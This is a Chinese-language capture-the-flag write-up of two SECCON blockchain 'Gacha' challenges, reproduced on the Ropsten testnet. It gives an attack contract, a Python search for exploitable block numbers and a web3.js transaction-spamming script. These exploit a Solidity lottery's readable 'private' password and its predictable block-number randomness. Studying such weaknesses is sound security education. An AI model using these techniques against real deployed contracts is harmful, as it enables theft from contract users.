周末抽时间整理了一下seccon的区块链的题目,当时没空打,现在想想还是挺遗憾的,其实这几道题考点并没有多少新颖的地方,不过做题的手法还是有点意思,所以在这里记录一下
这道题有两关,lv1还算简单,很多队伍都做出来了
题目描述如下
Toggle the "getItem" boolean value in "fair lottery contract" to true.
If you are lucky, you have only to press "test luck" button once.
Even if you are not lucky, all you have to do is press the button 1,000,000 times.
给出源码如下
pragma solidity^0.4.24;
contract Gacha {
address public owner;
address public player;
uint256 public played = 0;
uint256 public seed;
uint256 public lastHash;
bool public getItem = false;
bytes32 private password;
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
constructor(bytes32 _password, uint256 _seed, address _player) public {
owner = msg.sender;
player = _player;
password = _password;
lastHash = uint256(blockhash(block.number-1));
seed = _seed;
}
function pickUp() public returns(bool) {
require(player == msg.sender);
uint256 blockValue = uint256(blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
played++;
if (mod(played, 1000000) == 0) {
getItem = true;
return getItem;
}
uint256 result = mod(seed * block.number, 200000);
seed = result;
if (result == 12345) getItem = true; // Flag is here!!
return getItem;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
function initSeed(uint256 _seed) onlyOwner public {
seed = _seed;
}
function changeOwner(bytes32 _password) public {
if (password == _password) owner = msg.sender;
}
}
代码并不长,逻辑也很简单,在合约部署时需要指定player,同时题目会设置密码以及初始化种子,然后合约会保存前一个块的hash。然后我们往下看,pickUp函数就是我们用来投注的函数,找到其中随机数生成的部分
uint256 result = mod(seed * block.number, 200000);
很有意思,它是直接拿区块号和seed相乘再用200000取模得到随机数,然后使用它更新seed,而我们的目标是让结果等于12345,这样才能得到flag,另外前面还有一个play次数的判断,如果我们调用pickUp达到1000000次,那么也可以解锁,不过显然这并不现实。
在函数的第一部分还使用lashhash锁定了区块,这样在每个区块里你只能调用该函数一次,进一步封锁了捷径,这样看起来我们要满足条件还是比较困难的,然而在合约的最后我们注意到seed是可以修改的,条件是合约的owner,而修改合约的owner需要知道密码,而密码是在初始化题目部署合约时由题目设定的,在前面的变量的定义里它是个private变量,仅能被合约内部调用,我们是不能直接看到的。
不过我相信熟悉EVM的人应该都知道合约里的状态变量我们都是可以通过getStorageAt读到的,所以这里的密码我们是可以直接获取的,然后我们就可以取得合约的owner,之后就可以修改seed,根据后面的区块号选定一个特定值,之后只要在满足的区块里调用pickUp函数即可,利用思路还是比较清晰的,所以lv1还算比较简单,比赛的时候也有很多队伍做出来了
读取密码很简单,从0开始数下来password所使用的存储位是6,所以直接读取6号存储位即可,因为题目环境已经关闭而且题目是搭在私链上的,所以这里我就直接在ropsten测试链上进行复现,在部署合约时设置的密码为0x253545,这样即可在存储中读到
之后的操作就非常简单了,这里不多说了,我们来看看lv2,这部分在比赛的时候没几支队伍做出来
题目描述如下
We don't want to think that you cheated, but we enhance security of the contract.
OK, press "test luck" button to check your luck!
至于代码上其实几乎跟lv1一样,不过在最关键的地方也就是其中的password它修改成了hash值
function checkPassword(bytes _password) public view returns(bool) {
if (password == keccak256(abi.encodePacked(_password))) {
return true;
}
else return false;
}
这样我们再想向之前那样change owner修改seed就不可行了,所以利用点肯定与lv1不一样
我们再次回到合约中随机数的生成上,显然这里的随机数是我们可以提前获取到的,因为只使用了区块号作为随机数生成源,所以对于每个区块我们可以判断是否要调用pickUp函数,同时每次调用都会对seed进行更新,这样的话就豁然开朗了,我们可以计算出一个区块号的序列,遵循该序列进行调用我们可以不断更新seed,最终在最后一次调用中满足判断条件
首先我们要算出该序列,这里我参考了此处的writeup
def step(state, number):
return (state * number) % 20000000
def findsequence(seed, start):
# breadth first search
# stop when result == 12345
# initialize
queue = {seed: []}
blockn = start + ((start % 2) + 1) # we only want odd ones
done = False
# start exploring
while not done:
print blockn - start, len(queue)
nextqueue = queue.copy()
for state in queue:
# check new block for every saved state
newstate = step(state, blockn)
#print newstate
if newstate % 2 == 0:
# skip
continue
if newstate == 12345:
print 'found'
print 'blists', queue[state] + [blockn]
res = queue[state] + [blockn]
done = True
break
if len(nextqueue[state]) > 2:
# skip
# we want a short sequence, to reduce timing errors
continue
nextqueue[newstate] = nextqueue[state] + [blockn]
queue = nextqueue
blockn += 2
return res
blists=findsequence(2345,4370335)
seedlists=[2345]
for x in range(5):
seedlists.append(blists[x]*seedlists[x]%20000000)
print 'seedlists',seedlists
原理就是暴力穷举,首先区块肯定得是奇数,seed也是奇数,否则就无法使得计算结果为12345,那么就从设定的开始区块开始不断尝试后面的奇数块,将得到的序列存储,这里存储使用了dict,在key中存储序列得到的seed值,value里存储该序列,不断尝试直到找到满足条件的序列,为了使得需要的区块尽可能少所以还添加了对长度的限制,这里的限制实际上等价于满足的序列长度需小于等于4,当然也可以更小,但是这样相邻块的间隔过大,也不利于我们进行攻击
这里我是在测试链上进行复现,所以对题目进行了一定的修改,将模数修改为了20000000,初始化的seed我随便设了2345,开始的区块号就得由你看着选了,按照我的流程首先得到区块列表和对应的seed更新列表
blists [4370433, 4370449, 4370481, 4370513]
seedlists [2345, 8665385, 3207865, 13033065, 12345]
下一步我们准备部署一个攻击合约,这也很简单,其实就是判断下区块号决定要不要调用目标合约的pickUp函数
contract attack {
Gacha target=Gacha(your challenge address);
uint [] blists=[4370433, 4370449, 4370481, 4370513];
uint [] seedlists=[2345, 8665385, 3207865, 13033065, 12345];
function pwn(uint n) {
if(block.number == blists[n]){
if (target.seed() == seedlists[n]){
target.pickUp();
}
else {
revert();
}
}
else {
revert();
}
}
}
这里还需要注意的是challenge合约部署时即需要指定player,而且判断时使用的是msg.sender,所以要填入的player必须是攻击合约地址,这就代表着攻击合约的地址要么提前算出来要么提前部署,因为直接算合约地址也挺方便的所以我是选择了提前算攻击合约的地址,当然你也可以将攻击合约换一个写法让它接受传入的challenge合约参数
下面是以太坊源码中计算合约地址的代码,基于此我们可以直接计算地址在对应nonce下创建的合约的地址
func CreateAddress(b common.Address, nonce uint64) common.Address {
data, _ := rlp.EncodeToBytes([]interface{}{b, nonce}) //对地址和nonce进行rlp编码
return common.BytesToAddress(Keccak256(data)[12:]) //利用keccak256算hash,后20个字节作为新地址
}
模拟的代码如下
const util = require('ethereumjs-util');
const rlp = require('rlp');
encodedRlp = rlp.encode([address, nonce]);
buf = util.sha3(encodedRlp);
contractAddress =buf.slice(12).toString('hex');
填入address和nonce即可计算得到合约地址,这部分就不多说了
这样成功部署了攻击合约之后我们就需要调用它了,有的人可能会选择手工调用,比如在remix里一次又一次地调用攻击合约的pwn函数,这样不仅自己点的累而且发出的交易有限,成功率也不高,何况我们还得实时监控当前的区块变化,所以合适的选择是自动化运作,在这我选择了web3.js来与合约进行交互,说实话因为js代码写的并不多所以可能看起来不是很优雅,还请大佬轻喷
代码如下
var Web3 = require("web3");
var web3 = new Web3();
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io"));
web3.eth.accounts.wallet.add(your private key);
web3.eth.defaultAccount=web3.eth.accounts.wallet[0].address;
var blists=[4370433, 4370449, 4370481, 4370513];
var seedlists=[2345, 8665385, 3207865, 13033065, 12345];
var abi=[{"constant":false,"inputs":[{"name":"n","type":"uint256"}],"name":"pwn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
var address='bbe561c39f42fa39bcbfb60bcd8cd7fe6e7a631d';
var attack=new web3.eth.Contract(abi,address);
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
var blocks=0;
var gg=0;
var nonces=your start nonce;
(async function() {
for(var i=0;i<5000;i++){
await sleep(1000).then(async ()=>{
await web3.eth.getBlockNumber().then(function(value){
blocks=value;
});
if (blocks<blists[gg]){
console.log(blocks,gg,nonces);
attack.methods.pwn(gg).send({from:'0x1Eed0499dF1539767aF3a4981c8c598572bAC20a',nonce:nonces,gas:3000000,gasPrice:50000000000}).catch(new Function());
nonces+=1;
}
else {
gg+=1;
}
});}
})();
代码中使用的abi可以使用solc编译得到
solc seccon_gaca.sol --abi
为了让发送交易的频率不要太快这里我设置的频率是一秒一次,另外有一点需要特别注意就是nonce的更新,如果不自己设定nonce的话那么在你的上一个交易未确认的时候web3默认发送时取的nonce还是上一个,这样发送的交易跟前面是一样的,会直接被节点丢弃,也就没有了意义,所以每次发送就更新一次nonce
另外就是每次发送都需要判断一下当前的区块号,跟blists进行比对以决定当前要准备塞入交易的是哪个块,程序跑起来之后我们就可以在区块浏览器里看到合约地址下疯狂滚动的交易。
可以看到交易非常密集,这也是为了确保每个块里都能塞到我们的交易,尽管如此有些区块还是会落空,这也得看点运气,说实话前段时间测试链经历了几次更新后感觉出块时间更不稳定了。我们可以在挑战合约处查看seed的更新来查看我们的成功进度,如果目标块没有成功包含那么就只能重新部署再来一次了,不行的话可以适当将发送交易的频率再调高一点。
其实写到后面跟seccon比赛时的题目区别已经挺大了,毕竟我是在测试链上进行复现的,而比赛则是在官方提供的私链上进行,所以在环境的搭建与处理上有很大区别,在这里主要还是记录一下方法吧,这样在测试链上进行复现感觉也有点影响别人